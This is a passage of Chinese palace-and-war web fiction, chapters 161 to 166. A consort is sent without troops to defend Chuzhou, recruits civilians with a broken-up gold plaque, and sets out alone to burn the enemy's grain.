“啊!!!”杨士青心里烦躁一声,这荣贵妃简直就是一猪队友,一个字都说不到正点上。 那些人到底是不是她派去的啊? 反正他跟武文义收到了信,立马就带人赶去皇陵了,幸好,先帝的棺椁没受到损伤。 就是皇陵,确实被挖了,也不知道这群人是荣贵妃在哪里找的,竟真能找到工匠修建时留的墓道。 他们要是去的晚一点,先帝的棺椁就被撬开了。 “听你这话,意思是掘墓一事儿,你不知晓?”夜不群翛然睁开眼睛,盯着她问。 “这就得问问国师了,他不是会占卜吗?发生这样大的事情,得有预兆的吧? 难不成先帝给在座的都托梦了?宁妃和贤嫔跟先帝也没见过面啊,倒是崔公公和武大人杨大人,还有首辅和陛下您,都是先帝跟前儿侍奉的人。 先帝托梦也是托给你们吧?陛下,先帝给您托梦了吗?”沈安安信口胡诌。 这件事儿牵扯太大了,无人敢轻易作答。 夜不群一双冷眸,盯着她看了许久。 沈安安抬头与他对视,一双大眼睛扑闪着。 “武大人,听见了没?荣贵妃让你负责修葺先帝皇陵,若有闪失,你就去地底下给先帝请罪吧。”夜不群目光一转,落在了武文义身上。 武文义哪里还敢犹豫?头在地上磕的砰砰响,“臣领命,臣定不负陛下所托。” “陛下,修葺皇陵乃是大工程,就是这花销费用,还是呈报户部吗?” 修可以,花他的银子不行。 呈报户部的意思,就是让国库出银子。 “先帝都给你托梦了,由此可见,你都快将先帝忘干净了吧?这是先帝给你的机会,你还不好好尽忠尽孝?”夜不群厉声反问。 “是,臣这就去办。”武文义只好吃下这个哑巴亏。 夜不群挥了挥手,示意他们退下。 “臣等告退。”武文义和杨士青齐齐开口,他们倒是有默契。 “陛下,那臣妾也告退了?”沈安安问着。 “你跪着。”夜不群回她。 沈安安撇了撇嘴,跪坐在地上。 到底又是哪个天杀的因为啥事儿连累她了。 “你们再说一遍给荣贵妃听。”夜不群吩咐着。 先开口的是独孤及,他恭恭敬敬道:“启禀陛下,臣愿随荣贵妃出征,替陛下分忧,还望陛下成全。” 接着,便是魏大贤开口:“陛下,臣觉得只有荣贵妃能大败西越,臣也推举荣贵妃出征。” 第161章绿茶嫔妃 宁妃更是一脸悲戚的模样,重重跪在地上,恳切道:“陛下,义父为国鞠躬尽瘁,身负重伤,若再上战场,恐怕真要马革裹尸了。 臣妾斗胆,推举荣贵妃出征,荣贵妃定能不负圣托,佑我国边疆臣民。” 最后站出来说话的是李含萱,她就没有那么多大道理了,只道:“臣妾不想太祖父修的河里,最终全是同胞的鲜血。” 一字一句,沈安安都听的清楚。 她道:“看来诸位是把启西的存亡都寄托在我身上了啊,陛下也是如此想的?” 夜不群没回答。 魏大贤开口:“娘娘,这是你的福气。” 是啊,皇权之下,生死都是黄恩浩荡。 “臣妾领命。”沈安安多余一个字都没跟夜不群说,叩头领旨后离开了。 回到荣华宫,她什么也懒得想,倒头在床榻上睡觉了。 真要出征的话,还不知道多久才能睡一个安稳觉呢,趁着现在有觉睡,好好珍惜。 沈安安睡的稀里糊涂时,感觉有人在摇晃自己的手臂,耳边响起稚嫩的声音,“母妃母妃”的叫着。 她翻了个身,嘴巴都懒得张一下,闭着眼睛“嗯”了声。 “母妃,皇叔这次让皇兄陪你去启西,不让我去,还说让我陪夜明练武功。 皇兄说了,夜明会把我当成活靶子,皇贵妃也会狗仗人势欺负我,我去求了皇叔,没用啊,怎么办母妃?” 夜亦德见她还不醒来,也不忍心打扰了,干脆就在她身边躺下来。 手里摸上扇子,轻轻给沈安安扇着风,一双圆溜溜的眼睛盯着她看。 “母妃你怎么累成了这个样子?听说皇叔准许了西南世子随你出征,他不会给你使绊子吧? 我看那世子,不像是个好人,杨大人还说他对你有非分之想呢母妃。” “娘娘,臣有事禀报,娘娘不见臣,臣就在外面跪着了。”忽地,武文义中气十足的声音响起,打断了夜亦德的自言自语。 夜亦德从床榻上下来,轻手轻脚的来到了主殿门口,将房门拉开一道他能进出的缝。 “母妃在休息,你叫嚷什么?”夜亦德稚嫩又带着气愤的声音,问他。 “参见二殿下。”武文义跪着拱手行了一礼,“臣有很着急的事儿找娘娘商议,劳烦二殿下,帮臣把娘娘唤醒。” 夜亦德蹲在他面前,两只胖乎乎的小手托着腮帮子,“可以是可以,但你要让皇叔同意我也跟着母妃一起出征。” “这臣怎么敢开口?臣是被陛下从勤德殿里赶出来的,殿下知晓的,臣在陛下面前向来说不上话,殿下要寻也该去寻首辅大人。 这次出征的人选,是首辅大人帮着陛下定下的,臣去说,会没了脑袋的。” 夜亦德听闻这话,嘟着嘴,“你不去说,就休想见母妃。” “哼。”小小的人儿站起身来,就要进屋。 武文义跪着上前,把脑袋挤进了门缝里。 得亏夜亦德没用大力关门,不然他的脑袋就被挤爆了。 “娘娘。”武文义扯着嗓子嚎起来。 这一声跟叫魂一样,把沈安安从睡梦中叫醒了过来。 她双手捏成拳头,捶在褥子上,“啊!!!”仰头烦躁一声。 然后揉着满头的乌发,从床榻上下来,边往出走边问着:“你还来干什么?” “亦德,把门打开,让他进来说。” 夜亦德见她都发话了,便不再阻拦,把门敞的开开的。 武文义从地上起来,低头弯腰进了屋子,停在沈安安面前,“娘娘,给先帝修葺皇陵的银子,您可得出。” “娘娘一句先帝托梦,可把臣害惨了,娘娘有所不知,负责修建先帝皇陵的是首辅大人,当时他贪墨了不少银子。 现在重新修葺,得花大价钱,臣一个人负担不起啊。” “哦。”武文义好似恍然大悟,拱手弯腰行礼道,“臣恭喜娘娘、贺喜娘娘,娘娘得偿所愿,臣实在替娘娘高兴。” “什么得偿所愿?”沈安安拧眉问他。 “娘娘就别在臣面前揣着明白装糊涂了,昨夜不是娘娘给臣和杨大人送信,让我们去皇陵捉拿盗贼的吗? 信臣都随身带着呢,不信娘娘您看。”武文义从袖子里掏出一封叠成半个巴掌大小的纸张,递给了沈安安。 沈安安打开一看,还真是她的字迹,但她很清楚,她根本没送过信。 “我昨夜一直都在满江红待着,哪儿有空给你送信?这不是我写的。”沈安安说着就把信丢给他。 武文义不要,慌乱的给她往桌子上一放,“不管真的假的,现在这封信就是娘娘的。” “陛下刚才在勤德殿说的很明白了,给先帝修葺皇陵的事儿,就落在你我还有杨大人三人的头上了。 说是修葺,根本就是重新修建,娘娘你得出银子。” “你们找死,怎么还扯上我了?”沈安安跟他争论起来。 夜亦德默不作声的,点了一盏蜡烛,把桌上的那封信给烧了。 沈安安实在经不住武文义的纠缠,松口让他去找王坡拿十万两银子。 刚把武文义打发走,李含萱破天荒的来串门了。 “嫔妾给贵妃娘娘请安。”李含萱被芍药搀扶着,身子还是很羸弱。 看这样子,身上的伤都没好利索呢。 沈安安让芍药扶着她在椅子上坐下来,直言不讳的问着:“按理说我跟你无冤无仇啊,你干嘛要把我往死路上推?” 李含萱闻言,刷一下就从椅子上站起来了,作势就要跪下。 这一番举动,虽说行云流水,但她的身体却扛着重压。 屋内放着冰块,并不热,李含萱却出了一身的汗。 沈安安看的出来,她的确受伤严重,随时都有晕倒的迹象,“我也没怪你,坐下说话吧。 你可千万照顾好自己,别在我的荣华宫里出什么意外,否则我真担待不起。” 李含萱贝齿咬着唇,眼眶通红,眼中泛着泪花,“贵妃娘娘这是在怪嫔妾?” 沈安安喝着冰凉解暑的绿豆汤,“我怪你什么了?我又为何要怪你啊?” “嫔妾只是担心楚妃姐姐凶多吉少,想让贵妃娘娘救救楚妃姐姐,她对我有救命之恩,如今她深陷危难,我不能袖手旁观。” 第162章要不你去当太监吧 沈安安并不抬头看她,她便喋喋不休。 “嫔妾无权无势,又身无长物,常听楚妃姐姐说娘娘待她是极好的,嫔妾便擅自做主,求到陛下跟前儿去了。” “贵妃娘娘要如何责罚嫔妾都行,嫔妾言行无状,嫔妾认。” 李含萱说着说着就开始梨花带雨了,并不是在用哭腔说话,但那一双双眼泪,如断了线的珍珠一般滚落。 “你这话说的。”沈安安抬眸瞥了她一眼,“宫里做主的有皇后娘娘和皇贵妃,我算是哪门子的主子,还能罚你? 你太看得起我的本事和地位了,连我自己都不知道,我在这宫里竟然有这么厉害呢?” 李含萱一时无话,渐渐抽泣起来,倒像是专程哭给她看的。 夜亦德拍了拍手,在沈安安旁边坐下来,“听说贤嫔娘娘的弟弟已经出发去楚州了,贤嫔娘娘是想帮弟弟吧?” 这正是李含萱来此的目的,被一语道破,她不知是二殿下这孩子聪明,还是这话是得了陛下授意才说的。 二殿下备受陛下宠爱,人人都知。 哪怕是首辅和定国侯,也是要给二殿下面子的。 李含萱分不清他此时的话代表的是夜不群的意思还是沈安安的意思。 片刻的思索后,李含萱强撑着身体的不适,结结实实的给沈安安跪下,“求娘娘恕罪,嫔妾也是被逼无奈。” “父亲替丰庆郡主顶罪而死,家中再无人替嫔妾做主,此祸过后,李氏一族也不敢再触怒陛下。 可丰庆郡主要泽里活着,如果不然,她就要拉上嫔妾和整个李氏陪葬。 嫔妾死不足惜,可我李氏族人何其无辜?求娘娘和殿下,救救李氏一族。” 芍药也跟着跪下来,眼泪簌簌往下流,将丰庆进宫是如何欺辱威胁李含萱的,尽数说了出来。 那日夜不群跑去了失意楼,问过沈安安的话还犹在耳边。 与她们此时的话联系上,倒不像是在说谎。 “你早这样说不就好了?”沈安安放下碗。 “好好回宫养着去吧,我不会叫楚妃和你弟弟死了。” 李含萱叩谢后,被芍药搀了起来,不敢再打扰沈安安,退出了荣华宫。 李含萱捏着帕子,擦干了脸上泪痕,一路无话,直到回了宣明宫。 出了一身汗,宫女给她擦了身子,她趴在床榻上,芍药在一旁扇扇子。 内务府送来宣明宫的冰,全让宁妃的婢女拿走了。 李含萱在宫里过的如何,没人关心。 芍药扇子都快扇冒烟了,李含萱还是热的满头大汗。 “娘娘,要不就把衣裳脱了吧,反正在自己宫里,旁人也不会来,没必要被规矩拘着。”芍药心疼道。 李含萱摇了摇头,“处处小心都有人容不下,若我再自己犯错,那便是找死了。 我自己也就罢了,就怕连累了你,对不住芍药,让你跟着我,受苦了。” “娘娘说的这是哪里话?能伺候娘娘,是奴婢的福分,最苦的合该是娘娘。” 芍药叹息一声,隔着窗看向了椒房殿的方向,“皇后娘娘醒了跟没醒没什么两样,原本盼望着她醒来给各宫做主。 不成想,她竟不管后宫的事儿,如今皇贵妃也不大操心了,宁妃更加肆无忌惮的欺负娘娘了。” “娘娘过的日子,比冷宫里都不如。” 李含萱暗暗咬牙,这也是她为什么愿意跟丰庆冰释前嫌的原因。 有丰庆在,她总会时不时的在陛下面前提起自己,这样,陛下就不会将自己给忘了。 李含萱不能去陛下跟前儿露脸,那就借丰庆的手,只要陛下还记着宫里有她这么一个人,她迟早能等到属于自己的机会。 花会开的,但花开需要时间。 当这后宫里,只要她一朵花儿绽放的时候,她就不信入不了陛下的眼,她就不信陛下能忍住不来采撷。 既然赵时意那么想得圣宠,那她就帮她一把吧。 …… 夜不群没给沈安安拨派兵马,魏大贤和赵小高奉命送他们出城。 沈安安怀中拢着夜亦德,旁边策马陪伴的是独孤及,他像个闲云野鹤一般,一手握着缰绳,一手拿着折扇。 连赵小高都吐槽,“他不像是去打仗的,倒像是纨绔去敛财的,荣贵妃不会真把他送到前线去吧?” 魏大贤立在城墙上,“陛下也没给荣贵妃她想要的保命符,鬼知道她会做什么。 世子可千万不能死,我还指着西南今年的岁银回回血呢,大晟送来的银子,据说在云州遭山匪抢了。” 赵小高啐了一口,“呸,狗屁的山匪,还不是王妃捣的鬼?” “唉。”魏大贤又是一声叹息,“陛下的意思是不追究了。” 沈安安要策马扬鞭,独孤及与她并肩,拽住她的马缰绳,趁着她一个不注意,将她的鞭子给抽走了。 沈安安骂他:“你丫的想死是不是?” 独孤及温润一笑,“娘娘,骑慢些,骑的快了,我受不住。” 沈安安双腿夹着马腹,“受不住你就滚回云州去享清福,跟着我捣什么乱?” 独孤及追上她,“娘娘,陛下让李泽里先行的意思,就是要他死在楚州。 你这样赶路,他还没到楚州我们先到了,以你的神勇,他怕是连上阵的机会都没有,还怎么死?” “为了杀一个人就延误战机?这话亏你说得出口,如今楚州连个刺探军情的人都没有。 西越大军压境,说不得边疆已是一团乱了,再这样逍遥自在下去,我都要陪你提着脑袋见陛下了。” “娘娘,你不让陛下如愿,打了胜仗回来,也是掉脑袋的结局。”独孤及虽这样说着,但还是策马追着沈安安。 他马术不错,竟也不落后于沈安安。 马术不错的人,一般武功都差不到哪里去。 看独孤及这样子,也是从战场上历练出来的。 “驾。”沈安安从夜亦德腰间抽出另外一根马鞭,抽在枭龙的屁股上。 枭龙嘶吼一声,疾驰向前。 夜亦德大着嗓门,冲独孤及喊:“我说你能不能不要整天都在揣度我皇叔的意思?你这么爱猜,要不把你阉了去御前伺候吧。” 独孤及竟举起手,状似要一鞭子打在夜亦德身上。 夜亦德眸子一瞪,告状着:“母妃你看他。” 第163章少年恣意、烽火映天红 沈安安该是带着夜亦天出发的,但皇命难为。 夜不群要把夜亦天留在宫里,其他人没办法。 沈安安也去求过皇后了,于事无补,大事上,皇后不会站在夜不群的对立面。 如此来说,又何尝不是帝后齐心呢? 沈安安垂眸看了一眼怀中的夜亦德,说:“亦德啊,这次我会带你上战场,你要将你学到的,都讲给你皇兄听,知道了吗?” 夜亦德只顾着跟独孤及斗嘴,压根没听见她说的话。 沈安安耳边萦绕着两人的声音。 独孤及说:“殿下一个七岁孩童,懂什么情真意切,懂什么天降竹马皆系一人。” 夜亦德:“大胆宵小,你竟敢惦记我母妃,我要让皇叔把你斩首示众。” “哈哈哈。”爽朗笑声,迎风而起,是白衣少年恣意潇洒的最好证明,“殿下把我杀了,谁替殿下镇守西南?” “殿下放心,我志不在高官厚禄,我醉情于儿女情长。”这句话,他是说给沈安安听的。 娘俩异口同声的骂他,“你个天杀的浪荡子。” “哈哈哈,能得娘娘谬赞,是臣之幸。” 他说罢,“驾”一声,策马扬鞭。 他冲沈安安喊着:“娘娘,追上臣,臣就把马鞭还给你。” 沈安安双腿夹紧马腹,翻着白眼,“幼稚。” 枭龙却一副势必要跟对方的战马比个高低的架势,疾驰追去。 …… 快马加鞭,七日,他们赶到了楚州。 楚州城外,烽烟不断,目之所及,断壁残垣。 鲜血遍地,火光将半边天映照的通红,久经战火侵袭的城墙上,站着一道消瘦身影。 沈安安从马背上跳下来,交代独孤及看好夜亦德,她手提黑枪,奔上了城墙。 “楚舒茗。”她叫着。 楚舒茗身上的宫装,还是那样亮丽,即便蒙尘染脏,仍是夺目的。 说真的,沈安安怕她想不开从城墙上一跃而下。 楚舒茗听见呼唤,缓缓回头,凌乱的、细碎的发,贴在两颊。 她颤抖着唇,悲恸的哭声到底是咽进了肚子里,只有双眼里不停有泪流下。 沈安安一个箭步上前,抓住她的胳膊,将人拉进了怀中。 那杆黑枪,在沈安安手中,立于楚舒茗身后。 “我来了,我来了,我奉旨来了。” “陛下没放弃楚州,朝廷也没放弃楚州,不信你看,西南王世子也来驰援了。” 楚舒茗那双泪眼,顺着她指的方向看去,独孤及正抱着夜亦德从城墙上缓缓上来。 城墙下,两匹马孤零零的站着,他们没有带来一兵一卒。 楚舒茗哽咽着,看看左边的城内,又看看右边的城外。 她双手死死的揪住衣袖,“贵妃娘娘,启西还是轩辕的吗?嫔妾是哪里做的不好,惹陛下不开心了吗?他为什么不要启西啊?” “早知这样,嫔妾该效仿先太傅,血溅大殿,死谏求陛下出兵的。” 她眼中有怨有悲,最后都化成恨,咬牙把痛都咽进了肚中。 “镇子被洗劫了,流萤死了。” “城外的百姓,以肉铸墙,不让西越踏进楚州。” “楚州大营里的伤兵都出城迎战了,西越人不把他们砍死,一刀割一块肉,要他们活活疼死。” “娘娘,你说他们知道陛下不要他们了吗?” “他们不知道,他们不知道为什么他们的楚大将军不出战,为什么朝廷的驰援迟迟不到。 他们只知道,这是他们的家乡,城破,他们就无家可归了,他们最后的念想和支撑就没有了。 他们到死,都没想过离开这里。” 楚舒茗声音忽地嘶哑,她高声喊着:“都有脚,他们不知道跑吗?他们知道,每一个人都知道。” “他们也知道楚州一破,西越长驱直入,启西会全部落入战火之中。 启西没了,接下来就是朝夕城和京城,这些他们都知道,可他们不知道,是陛下故意不要他们,是陛下不要楚州。” “你说他们九泉之下知道是陛下和楚天明不要他们,他们该有多伤心难过?” “我、我站在城墙上,他们一遍遍的问:‘楚妃娘娘您都来了,朝廷的援兵也会很快就到是吗?’ ‘楚妃娘娘,陛下一定会打跑西越人,带着千军万马来救我们的对不对?我们是不是只要再坚持一天?’ 我只能回答是,我说陛下的大军一定会到,大家再撑一撑……” “你做的没错。”沈安安将她拥入怀中,拍着她的背,“有你要他们,就够了。 他们当时信的不是陛下和楚天明,信的是你,你做的没有错,大敌当前,士气不能倒。 你做的很好很好。” 楚舒茗眼泪簌簌往下掉。 独孤及也出声安慰,“人死了,便不会再有执着了,魂魄之说那都是唬人的,身死魂消,真相如何对他们来说已经不重要了。 你没有错,无需自责,该是袖手旁观的那些人夜不能寐。” 这些安慰,让楚舒茗卸下心上盔甲,她终是失声痛哭,跪伏在地上,面对着楚州城外的那些尸山血海。 她一直都知道为什么楚天明要龟缩起来,为什么夜不群要耗尽启西,可这一刻,她对自己内心这些清晰的认知不确定了起来。 楚舒茗始终都没能卸下心防,她晕倒在城墙上。 沈安安把黑枪扔给了独孤及,弯腰将楚舒茗抱起来,一边下城墙一边冲身后人说着:“去将军府,顺带找两个人问问,西越进攻的规模和频率。” “好。”独孤及应着,紧跟在她身后。 夜亦德被楚舒茗感染了,一双小手不停的擦着眼泪。 擦不及了,干脆就鼻涕眼泪一起蹭在独孤及的肩膀上。 小小的人儿猛吸了一口气,眼神追随着沈安安,问着:“母妃,你是要去逼楚天明出征吗?” “他要是敢不听话,母妃你就把他打一顿吧,大敌当前,都兵临城下了,他还当缩头乌龟,他就不配做大将军。” 沈安安没回头,道:“不,朝廷没给他发俸禄,那出不出战,就是他的自由。” “军人除外,每个人都有活下去的权力,亦德你记住,我们不能逼人去死。” 第164章 招兵买马 残阳西斜,余晖照在将军府紧闭的朱红大门上,御笔亲题的“大将军府”四个字熠熠生辉。 启西已经难成这样了,可这块御赐的金牌匾,也无人动。 “贵妃娘娘、二殿下、世子,不是老奴不去禀报,而是王妃交代了,闭门谢客,不见任何人,老奴也为难。”管家点头哈腰,情真意切的解释着,就差把诚恳两个字刻在脑门上给沈安安看了。 “好,我不为难你。”沈安安说着。 管家脸上一喜,“多谢娘娘体谅,那老奴送娘娘离开。” “独孤及。”沈安安开口吩咐着,“撞得开吗?” “自是可以。”独孤及回着,弯腰将夜亦德放在了地上。 “撞开。”沈安安道。 独孤及蓄力,将所有内力都汇聚在了双脚上,起跃冲出,身子一斜,双脚重重的踩在厚重的大门上。 大门只是开了一条缝。 沈安安拿起黑枪,蓄力扔出,带着她内力的黑枪,从门缝里破进去。 强劲的风刃,配合着独孤及的力道,将两扇门彻底打开。 “娘娘、世子,你们这是做什么?”管家匆匆上前,伸手要拦。 沈安安一脚,踹在了他的膝盖上,他扑通一下就跪在了地上,“我不为难你,但楚天明和夜昭闻,我今日是一定要见的。” “你再拦我,小心你的项上人头。” 沈安安都这样说了,管家不敢再拦。 她的黑枪,就那样插在院中,院子里的小厮,胆子都吓破了,不敢抬头看她。 丫鬟见情况不妙,赶紧跑去内院禀报夜昭闻了。 夜昭闻闻言,眉头紧蹙,“她怎么敢的?” 继而,又看向端坐在凳子上的楚天明,“我出去见她就好了,你且待在此处,没有我发话,你不能出这个门。 否则,我就没有你这个夫君,阔儿也没你这个父亲。” “砰。”夜昭闻出门后,丫鬟将房门关上。 一路来到正厅,她就看见,沈安安抱着晕过去的楚舒茗,坐在主位上。 “荣贵妃,你还真不拿自己当外人啊。”夜昭闻站在她面前,是在等她起身。 “楚天明呢?”沈安安直言不讳,“我有话跟他说,我时间不多,叫他出来见我。” “荣贵妃这是跑到将军府撒野来了?上次来楚州闹的不够,这次又来。 是不是以后你每来一次楚州,就要跑来将军府上闹一次,非得逼着天明死在战场上,你们才肯善罢甘休?”夜昭闻厉声质问。 沈安安盯着她,“你简直不可理喻,他楚天明的命只有在你眼里算是宝贝,在我眼里,屁都不是。 一个缩头乌龟,就算他想跟着我上阵,我也不允。 另外,你也知道这是大将军府,既然他卸掉官职,苟且偷生,还有何颜面霸占在将军府里不滚?” 沈安安忽地起身,款款将楚舒茗放在了椅子上,逼近夜昭闻,周身的肃杀之气森寒。 “楚天明是其次,他卸职之后就是个庶民,哪怕他跑到京城去躲避战乱,也是情有可原。 可你,夜昭闻,先帝的妹妹,十二公主,太祖皇帝的女儿,你身上流着皇家血脉,却眼睁睁的看着楚州城外军民死于西越敌人凌虐之下。 最该死的人是你,本宫奉命出征,如今这楚州就在本宫的管辖之内,你也算个东西?” “本宫再说一遍,本宫要见楚天明,再有推辞,本宫就用你的脑袋,告慰楚州亡灵。” 沈安安说罢,眉心微蹙,抬起手一个巴掌,打在了夜昭闻的脸上。 夜昭闻只觉口中腥咸,拿起帕子一擦,是血。 夜昭闻心中愤愤不平,却也不敢再说什么,肃杀之气将她笼罩着,犹如死神在凝视着她。 沈安安敢杀她,也会杀她,这是她此时的真情实感。 虽然还没想好要不要去叫楚天明,但步子已经不受控制的在往后挪了。 “贵妃,贵妃娘娘。”楚天明从门外一步跨进来,搀住了连连后退的夜昭闻。 “我们都是有苦衷的……” “我管你什么苦衷?你们两条狗命我不放在眼里,今天来找你,也不是叫你上阵杀敌。” “你欠楚妃一个道歉和解释,我且先把楚妃和亦德交给你,若我下次再来,楚妃心中的郁结还在,你就想清楚怎么跟我解释吧。 若是亦德有半点闪失,我要你阖府上下,都下地狱。”沈安安声音轻飘飘的,听上去就像不经意说起的玩笑话。 但无形的威压,让全场噤若寒蝉。 楚天明点着头,表示让她放心。 夜亦德拉着她的手:“母妃,不是说好了带我一起上战场的吗?怎么这会儿又要把我丢下了? 母妃,我不要跟两个窝囊废待在一起,我要跟母妃你在一起。” 夜亦德眼中全都是担心,没有一兵一卒,他们怎么打仗? 皇叔也是真有点儿过分了,怎么能一个兵都不给母妃? 沈安安揉着他的脑袋,“亦德,乖,在这里等着我。” “我要和世子先去探探军情,再招兵买马,不然怎么打?” “乖乖在这里等着我,最晚后天未正时分我就来找你。” 夜亦德满目担忧,却不得不放手,他也不想楚州沦陷,老百姓是无辜的,他们还带着楚妃娘娘给的希望,等待驰援呢。 夜亦德松了手,点了点头,“母妃放心去吧,我会照顾好楚妃娘娘,我会乖乖等着母妃回来的。” “嗯。”沈安安重重应了一声,和独孤及一起出了屋子。 “娘娘,我们拿什么招兵买马?”独孤及问着。 早知道楚家军耗尽了,他出发的时候就不嫌累赘,多带些银子银票了。 他在怀里摸着,打算将自己带的盘缠给沈安安。 就听沈安安开口道:“把我的枪拿着。” “门口不是有那么大一块金子?有它还不够吗?”沈安安跨出大门。 二话不说,直接将大大的牌匾掀了下来。 “娘娘,这可是太祖皇帝亲赐的,这行吗?”独孤及看着被沈安安踩在脚底下的纯金牌匾,问着。 “不行也得行,过来帮我抬啊,抬去城门,好喊人。”沈安安叫着。 两人费劲巴拉半天,没挪动多少。 沈安安呼哧呼哧着,从怀中掏出一袋碎银子,扔给独孤及:“你去、找个马车来拉。” 第165章草木皆兵 马车没找到,找了辆驴车。 驴子又瘦又小,拉起来也费劲。 “娘娘,您也别看着了,过来搭把手。”独孤及帮驴子和老伯拉车,叫着沈安安。 “要你有什么用?”沈安安一手拎着黑枪,一手扯过绳子挎在肩膀上,嫌弃独孤及是个废物。 两人把老伯夹在中间,往城门走去。 沈安安和独孤及默契的都不想让自己的马出力,所以出力的就变成了他们自己。 隔着老伯,独孤及说:“我打听清楚了,最近的两场进攻,中间隔了一日。 前面都是连着几日的进攻,可能他们觉得楚州已经无兵可守了,前日那场进攻就用了三百人。” 才三百人,的确不多。 可三百骁勇善战的士兵,遇上手无寸铁的百姓,实际造成的杀伤力,放大十倍都不止。 “李家给了李泽里多少人啊?”沈安安问着。 “五百人吧,撑死了。”独孤及道。 “他们还要多久到?”她又问。 “这臣就不知道了,他们若是有心,早该到了;若是没心,咱们也不用指望了。”独孤及诚然开口。 道理是这么个道理,但说出来未免太晦气了。 “你就不能盼点好事儿发生?”沈安安隔着老伯,丢了个白眼给他。 到了城门口,老伯还帮着喊。 倒是有人来,但都是些老弱妇孺。 沈安安看着他们手里拿的锅铲和烧火棍,以及拐杖,顿时愣了。 “将军,我们可以的。”有妇人坚定说着。 沈安安穿着一身盔甲,墨发高高的束着,随意用个冠子别起来,英姿飒爽的。 “我知道。”沈安安双脚踩在地上,屁股抵在驴车上,脚下踩的是那块金牌匾。 “就只有你们了吗?”她看着眼前一排排的人,缓缓出声问着。 “连年征战,一年征四次兵,楚州哪儿还有身强力壮的年轻人?” “整个启西的大营就在楚州,启西境内征的兵都送来了楚州,该没的都没了。” 楚州四十万楚家军,如今只剩了个空大营。 可楚州年年都有四十万的楚家军。 所以,被朝廷弃之不顾的楚州,死的又何止是大家耳熟能详的那原本四十万的大军? 在朝廷的眼里,只不过是砍掉不听话的爪牙而已,可他们不是畜生,是一条条鲜活年轻的生命。 他们固守故土,朝廷就是利用这点乡情,把启西变成了这样。 这一战,不发一兵一卒来驰援,就是要把启西训成朝廷听话的狗。 日后再也不会有楚家军了,楚家的辉煌会彻底落幕。 等启西饱受战乱之苦,要放弃生的希望时,朝廷再派大军来驻守,略施恩惠,启西百姓便会感恩戴德。 死的人够多了,若是不抓住这最后的救命稻草,只会全部都死掉。 活下来的只会是惜命的人,而惜命的人贪生怕死,贪生怕死之辈,最是听话了。 再过个两代人,谁还记得此时发生的事儿?大家只会感念朝廷庇护,心悦臣服。 楚州缺人,启西缺人,可轩辕不缺人。 别地的流民、百姓、俘虏,再送来这片土地上,仍旧可以男耕女织。 沈安安提起黑枪,将那牌匾劈的四零五散,让独孤及分给在场的人。 她说:“这便是军饷了,大家拿回家,先各自置办东西吧。” “待我打探好敌情,需要出城迎战的时候,我会敲响那面鼓。” 沈安安指着墙根处的大鼓,道:“那时大家再来此地汇合,现在用不上你们,你们回去都好好休息吧。” “是,将军。”他们声音不齐,却恭顺的应着。 拿了东西,有序离开。 好似生怕沈安安误会他们只是冲着金子来的,大家一步三回头的强调,说绝对不会跑,只是按照她的吩咐,回家等候。 独孤及给老伯也给了块金子,老伯赶着驴车,滴答滴答走远了。 “真让他们跟着上战场啊?”独孤及看着众人远去的背影,问着沈安安。 她往沙袋上一坐,道:“无计可施的时候,也未尝不是个办法。” “草木皆兵,更何况一个个都是活生生的人呢。” 沈安安把黑枪放在身边,指腹不住的摩挲着枪杆。 “草木皆兵是这样用的吗?你别诓我,我没读过兵书。”独孤及在她旁边斜靠下来,盯着她看。 “既是援兵,那粮草该都是北戎提供的,他们迟迟没破楚州城,只在城外烧杀抢掠。 可久经战乱之地,能有什么?他们破城轻而易举,却迟迟没破,说明他们惧怕城内设伏。” “西越人,也蛮谨慎的嘛。” “独孤及,我要去烧他们的粮草。” 沈安安伸出一只手,感受着风。 京城虽然还热,但楚州已经是初冬的天气了,这种天气不会有大雨,也不会下鹅毛大雪。 风时时都有,一把火,定能烧他个干净。 “你疯了?”独孤及紧张道,“他们有十万人,万一你被发现,绝无生还的可能,一人一刀都能把你砍成肉泥。” “你也说了,他们在城外没搜刮到多少粮食,那他们肯定很重视粮草,岂会给你机会偷袭?” “一把火烧了,他们没得吃了,十万人开始攻城,我一个人守得住? 就算李泽里来了,你指望我跟他就能守住这城门?” 独孤及激动,身子撑了起来,直挺挺的坐在沙袋上,不移目光。 “他们迟早都是要攻城的,与其陷入被动,不如主动出击。” “横竖他们怀疑城中设伏,那我们就坐实了他们的猜测,我倒要看看,是西越人豁的出去,还是我豁的出去。” 沈安安好看的眸子,对上独孤及的视线,眼神里全都是笃定,不是向死而生的那种无畏,而是胸有成竹。 独孤及起伏不定的呼吸,渐渐平稳下来。 “你也太看得起我了。”他又倒了下去,神色凝重。 夜色下,他只留侧脸给沈安安。 沈安安只能借着上弦月微弱的光,看见他侧脸的轮廓。 独孤及说:“我就是个纨绔,从未真刀真枪的干过,我守得住城吗?” “胆子大一点,朝廷都不要楚州了,你就把这当成你的演武场,尽你所能就好了。”沈安安拍着他的肩膀,给他加油打气。 第166章 烧粮草 良久,独孤及才嗤笑一声,“那守不住你别怪我喽?陛下真怪罪起来,你可要替我担着。” 沈安安神色轻松,开口道:“守不住你就为国捐躯了,陛下对你只有赏赐。” 说罢,她爬上了城墙。 西越大军就驻守在肉眼可见的地方。 楚州城外,是一马平川,再往后,就是萧沙岭天险了。 他们度过了天险,只能选在此地安营扎寨了。 胆子够大,没退居天险,这也是沈安安笃定他们迟早会进攻的原因所在。 若是对楚州没有想法,他们不会把大军安插在这里。 算算日子,他们再发起一轮进攻试探,若是楚州还是像之前那样束手无策,他们就会发起总攻了。 沈安安冲跟上来的独孤及说道:“我去了。” “你连马都不要吗?”独孤及一句话刚说完,沈安安已经提着黑枪,顺着城墙跳了下去。 西越对楚州定是时刻关注的,开城门放匹马出去,他们一定会有所察觉的。 夜色下,沈安安踏过地上的血泥,直奔西越大营。 左侧挨着山,最容易被偷袭了,所以左侧一定会严防死守。 右侧一马平川,且是营帐所在地,相对来说,会放松警惕,但稍有风吹草动,也会极易被发现。 沈安安一番衡量,选择了右边。 她在一堆尸体里,挑了个身上比较干净的,扒下了一身北戎衣裳换上。 走近看才发现,这地上多数尸体是北戎人的。 西越的主力,看来是还没动过。 北戎这是被西越当成枪在使,看似是西越驰援北戎,但实际上,北戎成了西越攻城的先锋军。 先锋军嘛,自然先死了。 “蠢货。”沈安安骂了声,扶正了帽子,继续往前摸。 她脚程快,三刻钟便摸到了大营。 西越人都住帐篷,外面随意散倒着的是北戎人,负责巡视的也是北戎人。 沈安安像豹子一样,趴在黑暗里一动不动。 这样等了一个时辰,才有三五成群出来小解的西越人,叽哩哇啦说的话沈安安也听不懂。 她捏着鼻子,忍受着尿骚味。 